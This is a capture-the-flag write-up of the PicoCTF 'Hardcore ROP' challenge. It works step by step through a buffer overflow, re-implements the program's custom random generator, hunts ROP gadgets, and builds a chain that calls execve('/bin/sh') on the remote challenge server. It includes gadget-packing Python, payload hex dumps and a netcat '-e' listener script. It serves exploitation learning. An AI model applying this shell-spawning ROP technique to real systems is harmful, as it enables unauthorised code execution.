PicoCTF Hardcore ROP
@mrexcessive WHA
The problem
https://picoctf.com/problems
Hardcore ROP
This program is obviously broken, but thanks to ASLR, PIE, and NX it's still pretty secure! Right? NB: This problem is running in a slightly unusual setup to get extra PIE randomness. If you have an exploit that works 100% reliably locally (outside of GDB, which often disables any randomness), but you can't get it to land on our server, feel free to message us for help. [Source] [Binary] nc vuln2014.picoctf.com 4000
The solution
- First I tried numstitch aka ropstitch - because I'd just watched a presentation about it on DefCon 22 and it looked pretty interesting. Unfortunately I wasn't able to get it to work... so...
Ran objdump -d on the binary
ROPgadget ?
Needed to update capstone... first... tum ti tum...
python ~/Downloads/ROPgadget/ROPgadget.py --binary ./hardcore_rop
OK produces a ton of info:
Gadgets information ============================================================ 0x000010eb : adc al, 3 ; push eax ; xor byte ptr [ecx - 0x3fceefb0], cl ; ret 0x00000a86 : adc byte ptr [ebp + 0x5e5bf465], cl ; pop edi ; pop ebp ; ret ... snip ... 0x000012d5 : xor eax, eax ; mov al, -0xd ; int 0x80 0x000010f2 : xor eax, eax ; ret
Is code always in the same place ?
#main() are you fixed ? 0x26b: 0x04244c8d
Well yes, at startup, but PIE then moves everything ... so no.
So... maybe we don't need to actually shell ?
We could just cat ./flag ?
That string is hanging around
Can we get the 0x119f[ebx] somehow... - for [flag]
I guess not...
Maybe just shell OK...
ASIDE I'm using these two little scripts to run the local program as a socket server... to make it easier to transition to the target on remote server:
runserve.sh
#!/bin/sh while true; do nc -l -p 7777 -e ./run_hcrop.sh ; done
run_hcrop.sh
#!/bin/sh ./hardcore_rop .
both chmod +x
Then at top of python exploit script:
SERVER = "vuln2014.picoctf.com" PORT = 4000 if debug_localhost: SERVER = "127.0.0.1" PORT = 7777
End of ASIDE
First thing to do is get crash and know where to put address...
So python (try.py) to send it lots of chars
First I need to modify the program so SIGALARM doesn't go off.. that is annoying.
Find this:
alarm(30); sleep(1);
and patch:
We still get our SIGSEGV- excellent
Invalid $PC address: 0x6a6a6a6a
which is 'k'
which is really early in buffer...
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk
All other chars seem to have made it into buffer though.
This is on stack when we crash
(gdb) #top of stack 0000| 0xffd8b190 ("kkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ\n\263\330\377\352\003")
So... this is eminently ROPpable - or at least it would be if I knew how...
(gdb) x/1s 0xffd8b168 ("h") and then 16c, reveals (gdb) x/1s 0xffd8b16c 0xffd8b16c: "bbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY"...
Everything I'm sending seems to survive... lots of space for return address (ROP/POPcode stream)
So... only the "aaaa" at front is being trashed. Ah the program reads that as seed - more on that later !
At the crash:
(gdb) info regi eax 0xcd 0xcd ecx 0xffd8b16c 0xffd8b16c edx 0xffd8b16c 0xffd8b16c ebx 0x66666666 0x66666666 "ffff esp 0xffd8b190 0xffd8b190 ebp 0x69696969 0x69696969 "iiii esi 0x67676767 0x67676767 "gggg edi 0x68686868 0x68686868 "hhhh eip 0x6a6a6a6a 0x6a6a6a6a "jjjj
which is an interesting way to preload registers...
String:
"bbbbccccddddeeee
Is there anything amazing we can configure just using those ?
OK first the alarm...
2f5: c7 04 24 1e 00 00 00 movl $0x1e,(%esp) ; alarm(30) 2fc: e8 df 08 00 00 call be0
We want to patch that to c7 04 24 [ff ff ff 00] for long delay
Patched with bvi
... snip ...
Check segfault same after patch
(gdb) info regi eax 0xcd 0xcd ecx 0xffa922cc 0xffa922cc edx 0xffa922cc 0xffa922cc ebx 0x66666666 0x66666666 esp 0xffa922f0 0xffa922f0 ebp 0x69696969 0x69696969 esi 0x67676767 0x67676767 edi 0x68686868 0x68686868 eip 0x6a6a6a6a 0x6a6a6a6a
Yer same... good
OK
So... what to do.
We can see ecx is pointing to somewhere on the stack
So POC will be to print a string maybe
Unfortunately ebx has been destroyed...
Stack pointer is at this:
(gdb) x/32xw $esp 0xffa922f0: 0x6b6b6b6b 0x6c6c6c6c 0x6d6d6d6d 0x6e6e6e6e 0xffa92300: 0x6f6f6f6f 0x70707070 0x71717171 0x72727272 0xffa92310: 0x73737373 0x74747474 0x75757575 0x76767676 0xffa92320: 0x77777777 0x78787878 0x79797979 0x7a7a7a7a 0xffa92330: 0x41414141 0x42424242 0x43434343 0x44444444 0xffa92340: 0x45454545 0x46464646 0x47474747 0x48484848 0xffa92350: 0x49494949 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c 0xffa92360: 0x4d4d4d4d 0x4e4e4e4e 0x4f4f4f4f 0x50505050
so "kkkk" onwards will be next off stack
This routine:
468: call 562 <__x86.get_pc_thunk.bx> 46d: 81 c3 0b 23 00 00 add $0x230b,%ebx
Is part of the PIE loveliness I think... Will setup ebx correctly though...
Ah... but all that does:
0x00000562 : mov ebx, dword ptr [esp] ; ret
So that is get address of next instruction - find myself... PIC (position independent code) in other words - an executable which is like a shared library, according to notes about PIE on the web.
Unfortunately when we start executing we have no code space value in any register
"Position-independent executable (PIE) implements a random base address for the main executable binary"
What can we set eip to be ?
code/text segment is random
Pause to think...
OK... so looking back at the code (hardcore_rop.c) and I find that, of course, it is written to be exploitable.
We're not supposed to use the progam itself - but a random chunk of ~4096*10 bytes which are filled from PRNG numbers generated from a controllable seed.
You give program a 4byte intvalue ("<I",int) and it calls srand(int)
then it initialises a buffer to random values
buf[i] = rand(); i+=3 (not 4!)
[0-2] = the random value, then 3-5 is next, 6-8 is next... etc
Each time i%66 is zero, it writes out a return instruction to [i] - ie.
[0] = xc3, [66] = xc3, [132] = xc3 etc.
Then it makes that buffer readable and executable and announces "ROP time!"
Then it reads up to 555 bytes to overwrite the seed, the *buf pointer
I think that the mmap(,,,) call sets up *buf be addressable as 0x0f000000 for this process
eax is the address returned by mmap, ->void*buf
this is moved to esi and that in turn points to the buffer at 0x0f000000
So... rand(value), called repeatedly, is then fetching ints to fill the table.
We need to generate random files of ints based on srand()ing
and then ROPgadget those files.
We can transfer control into that space because we know it has 0x0f000000 as a valid address
OK so add directory and much of the code/docs. to git at this point...
So... we build our stack of gadgets AFTER the "jjjj" position
First we need to generate possible files of gadgets and pick one.
+ decide to pick a random value... I chose - REDACTED - do this part yourself!
+ first, first, we generate ONE bin, using srand("????"), rand() from python
+ and check numbers returned by rand() line up with data found at 0xf000000 after
+ break point at the puts("ROP time!") in randop()
+ aside: hopefully the srand() in target service will line up with mine
OK... will use random external program I think... I have that code somewhere...
Hmmm... initial first 10 rand() calls in my gcc
7e641c91 335b3ac4 ...
But the first rand() call in program... in randop()
0x34d1a088
OK that was using the weird Mersenne Twister thing:
Still failing to get same with srand(), rand() though
peter@KaliA:~/CTFs/picoctf/HardcoreROP$ ./try.py 75d5bb24 00bc0c40 ...
Lets check value being passed to srand() call
0xf77244c5: push DWORD PTR [ebp-0x1c] => 0xf77244c8 : call 0xf77248a4 0000| 0xfffb9820 ("????L\230\373\377\004")
Hmmm still not getting it.
Maybe need 32bit
$ file random random: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x70df232a1d24f54c3469fe825b2c4538017cd78e, not stripped
Try compile to 32bit
g++ random.cc -std=gnu++11 -m32 -o random
So how is "????" passed to srand() anyways....
(gdb) x/1wx 0xffafe4d0 0xffafe4d0: 0x???????? (gdb) x/1wd 0xffafe4d0 0xffafe4d0: 875770417
First few output values from rand()
0x34d1a088 = 886153352 0x7352dae7 = 1934809831 ...
Hmmm... still not aligning
Oh crapola... of course... the whole thing is a custom rand()/srand()
Which makes sense, right... to make things easy - everyone gets the same generator
000008a4 <srand>: 8a4: e8 63 00 00 00 call 90c <__x86.get_pc_thunk.cx> 8a9: 81 c1 cf 1e 00 00 add $0x1ecf,%ecx 8af: 8b 44 24 04 mov 0x4(%esp),%eax 8b3: 48 dec %eax 8b4: 89 81 98 00 00 00 mov %eax,0x98(%ecx) 8ba: c7 81 9c 00 00 00 00 movl $0x0,0x9c(%ecx) 8c1: 00 00 00 8c4: c3 ret 000008c5 <rand>: 8c5: 53 push %ebx 8c6: e8 97 fc ff ff call 562 <__x86.get_pc_thunk.bx> 8cb: 81 c3 ad 1e 00 00 add $0x1ead,%ebx 8d1: 69 83 98 00 00 00 2d imul $0x5851f42d,0x98(%ebx),%eax 8d8: f4 51 58 8db: 69 8b 9c 00 00 00 2d imul $0x4c957f2d,0x9c(%ebx),%ecx 8e2: 7f 95 4c 8e5: 01 c1 add %eax,%ecx 8e7: b8 2d 7f 95 4c mov $0x4c957f2d,%eax 8ec: f7 a3 98 00 00 00 mull 0x98(%ebx) 8f2: 01 ca add %ecx,%edx 8f4: 83 c0 01 add $0x1,%eax 8f7: 83 d2 00 adc $0x0,%edx 8fa: 89 83 98 00 00 00 mov %eax,0x98(%ebx) 900: 89 d0 mov %edx,%eax 902: 89 93 9c 00 00 00 mov %edx,0x9c(%ebx) 908: d1 e8 shr %eax 90a: 5b pop %ebx 90b: c3 ret
OK can we just do that in python
First try did not work
08d5a271 a0e89cde ...
Need to do IMUL properly. Also was missing eax = edx assignment
Make these. If in doubt, get the processor manual and just get emulation CORRECT
def OP_imul(valA, valB): # SIGNED - two's complement, so... -1 is 0xffffffff negative = False if valA & 0x80000000 <> 0: valA = ((valA ^ 0xffffffff) & 0xffffffff) + 1 # two's complement -ve number => positive negative = not negative # yes, could say True here... but clearer if valB & 0x80000000 <> 0: valB = ((valB ^ 0xffffffff) & 0xffffffff) + 1 # two's complement -ve number => positive negative = not negative bignum = valA * valB if negative: # turn it back to two's complement negative bignum = (0x10000000000000000 - bignum) & 0xffffffffffffffff msw = bignum >> 32 lsw = bignum & 0xffffffff return (msw,lsw) def OP_mmul(valA, valB): # UNSIGNED bignum = valA * valB msw = bignum >> 32 lsw = bignum & 0xffffffff return (msw,lsw)
NOTE this is a partial emulation because, well don't need to emulate flags impact for example because we know what instructions follow.
OK still not working
Seeding with ???????
values do not agree with those found in gdb in real program...
Compare with hardcore_rop tracing:
Hmmm... I had >= for shift instead of >>=
... oops.
OK now generating correct - same values...
So we can test...
Maybe even loop calling ropgadget!
$ ./try.py
seeding with ????????
values... matching !
Still need to do three extra things:
- advance pointer through buffer 3 bytes at a time, not 4
- whenever index % 66 == 0: write a 0xc3 to the buffer
- repeat until loop counter >= (4096 * 10) -4
$ python ~/Downloads/ROPgadget/ROPgadget.py --binary ./hardcore_rop # not quite right... $ python ~/Downloads/ROPgadget/ROPgadget.py --rawArch=x86 --rawMode=32 --binary ./gadget.bin
OK That's how to do it on a raw file like ours
Right so... loads of gadgets
With "????" as seed:
0x000075a6 : clc ; int 0x80
0x0000361d : mov eax, 0x508340c ; ret
Lets check that these are actually present, when we run in debugger:
... Should be 0xf0075a6, I think
Breakpoint at: 0xf777c506 <randop+164>: xor esi,esi 0xf777c508 <randop+166>: call 0xf777c828 <mprotect> 0xf777c50d <randop+171>: lea eax,[ebx-0x11c7] 0xf777c513 <randop+177>: mov DWORD PTR [esp],eax 0xf777c516 <randop+180>: call 0xf777ca8f <puts> x/6i 0xf0075a6 0xf0075a6: clc 0xf0075a7: int 0x80 and x/6i 0xf00361d 0xf00361d: mov eax,0x508340c 0xf003622: ret
Nice !
OK>.. So next step is to build something out of the gadgets which executes and proves the effect
Simples probably system call to print a string maybe ?
See http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
sys.write eax = 4 ebx = 0 (stdout) ecx = char * str edx = int strlen
So attack is:
"????" - which replaces the "aaaa" on our message
then
"bbbbccccddddeeeeffffgggghhhhiiii"
ropgadgets... (strictly, ropgadget addresses and parameters - parameters when pop's)
OK
info regi eax 0xcd 0xcd ecx 0xffe815cc 0xffe815cc edx 0xffe815cc 0xffe815cc ebx 0x66666666 0x66666666 esp 0xffe815f0 0xffe815f0 ebp 0x69696969 0x69696969 esi 0x67676767 0x67676767 edi 0x68686868 0x68686868 eip 0x4244cc2 0x4244cc2
We know that ECX will conveniently... be pointing to somewhere on stack
(gdb) x/64xw 0xffe815a0 0xffe815a0: 0x000000cd 0xffe815cc 0x0000022b 0x00000000 0xffe815b0: 0xffe815d8 0xf779f778 0x00009ff9 0xffe815cc 0xffe815c0: 0x00000000 0xffe815d8 0x00000068 0x62626262<-ECX 0xffe815d0: 0x63636363 0x64646464 0x65656565 0x66666666 0xffe815e0: 0x67676767 0x68686868 0x69696969 0x04244cc2
Which is the "bbbb" - how handy is that ! - so direct patch for ECX
EBX is setup from "ffff" - again, handy! - also direct patch
EAX and EDX need a bit more work
OK we can clear EAX by putting \0\0\0\0 into EDI (which was "hhhh") then
0x00004516 : and eax, edi ; ret 0x0000020f : inc eax ; ret 0x0000020f : inc eax ; ret 0x0000020f : inc eax ; ret 0x0000020f : inc eax ; ret # eax now 4
EDX we can do via ESI... which is in gggg # just force to 12
0x00003e72 : mov edx, esi ; ret
$ ./try.py Attach gdb now, then Enter to continue sending [????Hello worldeeee iiiiREDACTED ] yo, what's up? ROP time! Hello worl*** Connection closed by remote host ***
OK I'm calling that a partial success !
Trying again with bigger number into EDX
$ ./try.py Attach gdb now, then Enter to continue sending [????Hello world!eeeeiiiiREDACTED ] yo, what's up? ROP time! Hello world!eeee*** Connection closed by remote host ***
Yes that is working.
So now try on remote server - if this doesn't work there, shell probably won't...
$ ./try.py sending [????Hello world!eeeeiiiiREDACTED ] yo, what's up? ROP time! Hello world!eeee*** Connection closed by remote host ***
That works - REALLY GOOD PROGRESS !!
So now just (!) need to send a system invoke /bin/sh and see if it works
Erm... http://www.vividmachines.com/shellcode/shellcode.html#linex3
and also my ~/CTFs/tools/shellcode.asm
sys.execve() INT x80 eax = 11 (execve) ebx = ^"/bin/sh\0" - so move ecx or edx to ebx ecx = ^ ^ "/bin/sh\0" edx = ^ 0 [.0] = ^ "/bin/sh\0" - which is nicely in ECX and EDX already [.4] = 0x00000000
Note I am assuming no need for setruid() - at present...
OK
(gdb) info regi eax 0xcd 0xcd ecx 0xffe815cc 0xffe815cc edx 0xffe815cc 0xffe815cc ebx 0x66666666 0x66666666 esp 0xffe815f0 0xffe815f0 ebp 0x69696969 0x69696969 esi 0x67676767 0x67676767 edi 0x68686868 0x68686868 eip 0x4244cc2 0x4244cc2
We know that ECX will conveniently... be pointing to somewhere on stack
x/64xw 0xffe815a0 0xffe815a0: 0x000000cd 0xffe815cc 0x0000022b 0x00000000 0xffe815b0: 0xffe815d8 0xf779f778 0x00009ff9 0xffe815cc 0xffe815c0: 0x00000000 0xffe815d8 0x00000068 0x62626262<-ECX 0xffe815d0: 0x63636363 0x64646464 0x65656565 0x66666666 0xffe815e0: 0x67676767 0x68686868 0x69696969 0x04244cc2
So in pseudo-rop (not found them all yet ...)
ANDEAX_EDI = struct.pack("<I", 0x0f004516) INCEAX = struct.pack("<I", 0x0f00020f) MOVEDX_ESI = struct.pack("<I", 0x0f003e72) INT80 = struct.pack("<I", 0x0f0075a6)
buff += "bbbb/bin/sh\0\0\0\0\0\0\0\0\0\32\0\0\0\0\0\0\0iiii" # skip past the unused part buff += ANDEAX_EDI # set EAX to 11, first clear it (EDI @ "hhhh" is set 0) buff += INCEAX # then increment 11 times buff += INCEAX buff += INCEAX buff += INCEAX buff += INCEAX buff += INCEAX buff += INCEAX buff += INCEAX buff += INCEAX buff += INCEAX buff += INCEAX # EAX = 11 at this point buff += INCEDX *4 # EDX now pointing at the string "/bin/sh\0" - it started pointing at "bbbb" buff += MOV[ECX],EDX # because ECX was pointing at "bbbb" buff += INCEDX *8 # EDX now pointing at 0x00000000 (which was "eeee") buff += INT80
The tricky bit is the MOVPTRECX,EDX
OK can maybe do with this:
0x000002d0 : adc dword ptr [ecx + 0x57911dd3], edi ; ret clc !
We can control edi... directly, so can store any value
Actually that is sort of the wrong way around...
Lets do easy one first
0x00009124 : inc edx ; nop ; ret
So that is an inc edx...
Need it in EBX
# original"bbbbccccdddd e e e e f f f f g g g g h h h h iiii" buff += "bbbb/bin/sh\0\0\0\0\0\0\0\0\0\0x0f\0\0\0\0x0f\0\0\0iiii" # skip past the unused part
Grr.. can't write to 0x0f000000 (PROTREAD|PROTEXEC)
All there except MOVPTRECX,EDX now
Maybe
0x00000209 : xchg dword ptr [edx], eax ; mov eax, dword ptr [0x40ea6d2f] ; ret
somehow... before EDX is changed...
buff += MOVEBX_EDX # need to get EBX pointing there... buff += MOVPTRECX,EDX # because ECX was pointing at "bbbb"
Actually both these are not done.
We need EBX to point to same place as ECX and EDX
We need ECX to point to something which has pointer to that place and then 0x00000000
So...
# original"bbbbcccc d d d d e e e e f f f f g g g g h h h h iiii" buff += "/bin/sh\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0iiii" # skip past the unused part
We want dddd to be overwritten with ^bbbb = ^/bin/sh
We want ECX to point to dddd
There is a gadget to add EBX
0x00004a88 : add ecx, ebx ; ret
We want eeee to be zeros, but EDX to point to it
So add 12 to EDX
Maybe useful:
0x00006dc3 : xchg eax, ebx ; ret 0x00000d67 : xchg eax, ecx ; ret 0x00006ad6 : xchg dword ptr [eax], ebp ; ret 0x00009e4a : lea edx, dword ptr [ecx] ; ret # could get address EDX = ^"/bin/sh" 0x00002a88 : xchg eax, edx ; dec edi ; ret # EAX = ^"/bin/sh", dec EDI no prob. 0x00000d67 : xchg eax, ecx ; ret # ECX = ^"/bin/sh", EAX = &"/bin/sh"
Now need EBX = EAX, EDX = EAX+12 (or EAX + 12)
No... that is already there... sigh.
OK need a break!
---- back from lunch ----------------------------------------------------------
Recap. We need...
regs: eax = 11 - easy ebx = ^"/bin/sh\0" - put ecx or edx into ebx ecx = ^ ^ "/bin/sh\0" - ecx = ^^ hmmm edx = ^ null (0) - easy, edx += 12 will do it as struct: follows shell: int 0x80 - easy shell: "/bin/sh\0" - easy, hardcode on stack at "bbbbcccc". ecx=edx=^shell at start struct: (void *) ^shell - need to get original ecx or edx into here 0x00000000 - easy, hardcode at "eeee"
At entry sending in "????"(for srand()) then "bbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk...."
we have
eax 0xcd 0xcd ecx 0xffe815cc \__ both ECX and EDX = ^buffer edx 0xffe815cc / ebx 0x66666666 settable from buffer esp 0xffe815f0 ^"kkkk" ebp 0x69696969 "iiii" esi 0x67676767 "gggg" edi 0x68686868 "hhhh" eip 0x6a6a6a6a "jjjj" = Control over EIP set it to first ROP
"kkkk" onwards is the stack containing ROPcodes/gadget addresses and values for POPs
We could restart gadget hunt with a different code (not "????>" as seed to srand(), but I still tempted to try to make this random value I chose work, we have thousands of gadgets, useable sets are often much smaller)
Hmmm.
we need to store a dword to a ptr
What about:
gadget @ 0x0f001cdf # stosd dword ptr es:[edi], eax ; ret
-- aside ES: DS: SS: are all the same (probably, but maybe not true in live/server hosted?)
Need to get ^"/bin/sh\0" into eax and ^"dddd" into edi
0x00009bf7 : push edx ; pop ebx ; dec ecx ; ret # NOTE the dec ecx, needs countering - sideeffect! 0x0000682d : push ebx ; pop eax ; ret # handy !
Obviously...
POPEAX = struct.pack("<I", 0x00001313) # pop eax ; ret
Can be used to put immediate value 11 into EAX ;)
buff += POPEAX buff += struct.pack("<I", 11) # EAX <- 11
OK This was the code which I had at end:
def CrashIt(): # the gadgets we will use - see ropgadgets file ANDEAX_EDI = struct.pack("<I", 0x0f00??16) # and eax, edi ; ret INCEAX = struct.pack("<I", 0x0f00??0f) # inc eax ; ret INCECX = struct.pack("<I", 0x0000??d5) # inc ecx ; ret INCEDX = struct.pack("<I", 0x0f00??24) # inc edx ; nop ; ret MOVEDX_ESI = struct.pack("<I", 0x0f00??72) # mov edx, esi ; ret ADDECX_EBX = struct.pack("<I", 0x0f00??88) # add ecx, ebx ; ret INT80 = struct.pack("<I", 0x0f00??a6) # clc ; int 0x80 XCHGEAX_EDXse = struct.pack("<I", 0x0f00??88) # xchg eax, edx ; dec edi ; ret XCHGEAX_ECX = struct.pack("<I", 0x0f00??67) # xchg eax, ecx ; ret XCHGEAX_EDI = struct.pack("<I", 0x0000??1d) # xchg eax, edi ; ret STOSDPTREDI_EAX = struct.pack("<I", 0x0f00??df) # stosd dword ptr es:[edi], eax ; ret PUSHCOPYEDX2EBXse = struct.pack("<I", 0x0f00??f7) # push edx ; pop ebx ; dec ecx ; ret PUSHCOPYEBX2EAX = struct.pack("<I", 0x0f00??2d) # push ebx ; pop eax ; ret POPEAX = struct.pack("<I", 0x00001313) # pop eax ; ret
In order to maintain dramatic irony, I will not reveal the three huge, but also tiny, mistakes in the code above !
buff = "" if True: # ROP header buff += "????" # Seed the ROP random we know about # original "bbbbcccc " buff += "/bin/sh\0" # original"d d d d e e e e f f f f g g g g h h h h iiii" buff += "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0iiii" # skip past the unused part # ECX and EDX both pointing at /bin/sh, move ECX forward buff += PUSHCOPYEDX2EBXse # SIDE effect - DEC ECX buff += PUSHCOPYEBX2EAX # one stack push depth is safe buff += INCECX # Now EAX, EBX, ECX, EDX all ^"/bin/sh\0" buff += INCEDX #edx+=1 # move EDX to the ^eeee - which will remain 0x00000000 buff += INCEDX #+2 buff += INCEDX #+3 buff += INCEDX #+4 buff += INCEDX #+5 buff += INCEDX #+6 buff += INCEDX #+7 buff += INCEDX #+8 # EDX now pointing to "dddd", for fill in ^"/bin/sh\0" buff += INCECX #ecx+=1 # move ECX buff += INCECX #+2 buff += INCECX #+3 buff += INCECX #+4 buff += INCECX #+5 buff += INCECX #+6 buff += INCECX #+7 buff += INCECX #+8 # ECX = ^ ^ "/bin/sh\0" buff += INCEAX #eax+=1 buff += INCEAX #+2 buff += INCEAX #+3 buff += INCEAX #+4 buff += INCEAX #+5 buff += INCEAX #+6 buff += INCEAX #+7 buff += INCEAX #+8 # EAX = location of ^ ^ (same as ECX) buff += XCHGEAX_EDI # move the ^^ pointer from EAX -> EDI buff += PUSHCOPYEBX2EAX # now setup EAX again from EBX buff += STOSDPTREDI_EAX # [EDI] <- EAX buff += INCEDX #+9 buff += INCEDX #+10 buff += INCEDX #+11 buff += INCEDX #+12 # EDX = ^ 0x00000000 (which was "eeee") buff += POPEAX # this pair... buff += struct.pack("<I",11) # ...sets EAX to 11 buff += INT80
Did not work...
Go back briefly to test "Hello world! to check nothing bad introduced.
OK That still works... Good
OK so what I'm sending is:
?? ?? ?? ?? 2f 62 69 6e - 2f 73 68 00 00 00 00 00 ????/bin/sh..... 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................ 69 69 69 69 f7 9b 00 0f - 2d 68 00 0f d5 86 00 00 iiii....-h...... 24 91 00 0f 24 91 00 0f - 24 91 00 0f 24 91 00 0f $...$...$...$... 24 91 00 0f 24 91 00 0f - 24 91 00 0f 24 91 00 0f $...$...$...$... d5 86 00 00 d5 86 00 00 - d5 86 00 00 d5 86 00 00 ................ d5 86 00 00 d5 86 00 00 - d5 86 00 00 d5 86 00 00 ................ 0f 02 00 0f 0f 02 00 0f - 0f 02 00 0f 0f 02 00 0f ................ 0f 02 00 0f 0f 02 00 0f - 0f 02 00 0f 0f 02 00 0f ................ 1d 2d 00 00 2d 68 00 0f - df 1c 00 0f 24 91 00 0f .-..-h......$... 24 91 00 0f 24 91 00 0f - 24 91 00 0f 13 13 00 00 $...$...$....... 0b 00 00 00 a6 75 00 0f - 0a .....u...
Quick check all the intentions of ROPs look good
Not doublechecked the code matches what I though again... maybe there is a coding error ?
OK testing in the Hello world
and replacing
# buff += ANDEAX_EDI # set EAX to 4, first clear it (EDI @ "hhhh" is set 0) # buff += INCEAX # then increment 4 times # buff += INCEAX # buff += INCEAX # buff += INCEAX with buff += POPEAX # this pair... buff += struct.pack("<I",4) # ...sets EAX to 4
This does not work to get 4 into EAX
... or something else goes wrong which then breaks Hello world.
OK I had not included the 'f' into the POPEAX address
POPEAX = struct.pack("<I", 0x0f001313) # pop eax ; ret
Would certainly have not worked... maybe now... well that was one tiny mistake.
OK Hello world now works with that POPEAX
Lets try shell again...!
Nope
OK lets do all the setup, then call the other routine to display.
Ah similar two more of that problem to solve.
XCHGEAX_EDI = struct.pack("<I", 0x0f002d1d) # xchg eax, edi ; ret INCECX also broken
And done
$ ./try.py
sending: ?? ?? ?? ?? 2f 62 69 6e - 2f 73 68 00 00 00 00 00 ????/bin/sh..... 00 00 00 00 00 00 00 00 - 1a 00 00 00 00 00 00 00 ................ 69 69 69 69 f7 9b 00 0f - 2d 68 00 0f d5 86 00 0f iiii....-h...... 24 91 00 0f 24 91 00 0f - 24 91 00 0f 24 91 00 0f $...$...$...$... 24 91 00 0f 24 91 00 0f - 24 91 00 0f 24 91 00 0f $...$...$...$... d5 86 00 0f d5 86 00 0f - d5 86 00 0f d5 86 00 0f ................ d5 86 00 0f d5 86 00 0f - d5 86 00 0f d5 86 00 0f ................ 0f 02 00 0f 0f 02 00 0f - 0f 02 00 0f 0f 02 00 0f ................ 0f 02 00 0f 0f 02 00 0f - 0f 02 00 0f 0f 02 00 0f ................ 1d 2d 00 0f 2d 68 00 0f - df 1c 00 0f 24 91 00 0f .-..-h......$... 24 91 00 0f 24 91 00 0f - 24 91 00 0f 13 13 00 0f $...$...$....... 0b 00 00 00 a6 75 00 0f - 0a .....u... yo, what's up? ROP time! ls ...
*Nice - that works locally... *
OK git commit...
then try on remote server
* YES ! *
flag
hardcore_rop
cat flag
{REDACTED - a flag was displayed here}
git commit for success and start sanitising/redacting notes for writeup...
OK you did this... what challenge next.
Another nice emulation challenge, with two small prizes (before end June 2015)
https://www.whitehatters.academy/bsides-2015-ctf-emulation/